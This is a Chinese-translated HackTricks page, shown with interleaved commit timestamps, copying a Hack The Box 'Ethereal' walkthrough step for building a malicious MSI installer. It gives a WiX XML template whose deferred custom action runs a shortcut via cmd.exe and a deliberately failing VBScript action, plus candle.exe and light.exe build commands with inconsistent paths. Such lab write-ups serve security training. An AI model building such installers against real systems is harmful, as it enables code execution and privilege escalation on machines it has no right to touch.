2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**从** [**https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root**](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root) **复制的教程**\
|
|
|
|
|
为了创建msi,我们将使用[wixtools](http://wixtoolset.org),你可以使用其他msi构建工具,但它们对我来说不起作用。\
|
|
|
|
|
查看[此页面](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)以获取一些wix msi使用示例。\
|
|
|
|
|
我们将创建一个执行我们的lnk文件的msi:
|
2021-01-24 10:03:34 +00:00
|
|
|
|
```markup
|
|
|
|
|
<?xml version="1.0"?>
|
|
|
|
|
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
|
|
|
|
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
|
|
|
|
|
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
|
|
|
|
|
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
|
|
|
|
|
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
|
|
|
|
|
<Directory Id="TARGETDIR" Name="SourceDir">
|
|
|
|
|
<Directory Id="ProgramFilesFolder">
|
|
|
|
|
<Directory Id="INSTALLLOCATION" Name="Example">
|
|
|
|
|
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
|
|
|
|
|
</Component>
|
|
|
|
|
</Directory>
|
|
|
|
|
</Directory>
|
|
|
|
|
</Directory>
|
|
|
|
|
<Feature Id="DefaultFeature" Level="1">
|
|
|
|
|
<ComponentRef Id="ApplicationFiles"/>
|
|
|
|
|
</Feature>
|
|
|
|
|
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
|
|
|
|
|
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
|
|
|
|
|
Impersonate="yes"/>
|
|
|
|
|
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
|
|
|
|
|
fail_here
|
|
|
|
|
</CustomAction>
|
|
|
|
|
<InstallExecuteSequence>
|
|
|
|
|
<Custom Action="Stage1" After="InstallInitialize"></Custom>
|
|
|
|
|
<Custom Action="Stage2" Before="InstallFiles"></Custom>
|
|
|
|
|
</InstallExecuteSequence>
|
|
|
|
|
</Product>
|
|
|
|
|
</Wix>
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
我们将使用wixtools中的`candle.exe`来从`msi.xml`创建一个wixobject。
|
2021-01-24 10:03:34 +00:00
|
|
|
|
```markup
|
|
|
|
|
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
|
|
|
|
```
|
|
|
|
|
![](https://0xrick.github.io/images/hackthebox/ethereal/65.png)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
然后我们将使用 `light.exe` 从 wixobject 创建 msi 文件:
|
2021-01-24 10:03:34 +00:00
|
|
|
|
```markup
|
|
|
|
|
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
|
|
|
|
```
|
|
|
|
|
![](https://0xrick.github.io/images/hackthebox/ethereal/66.png)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|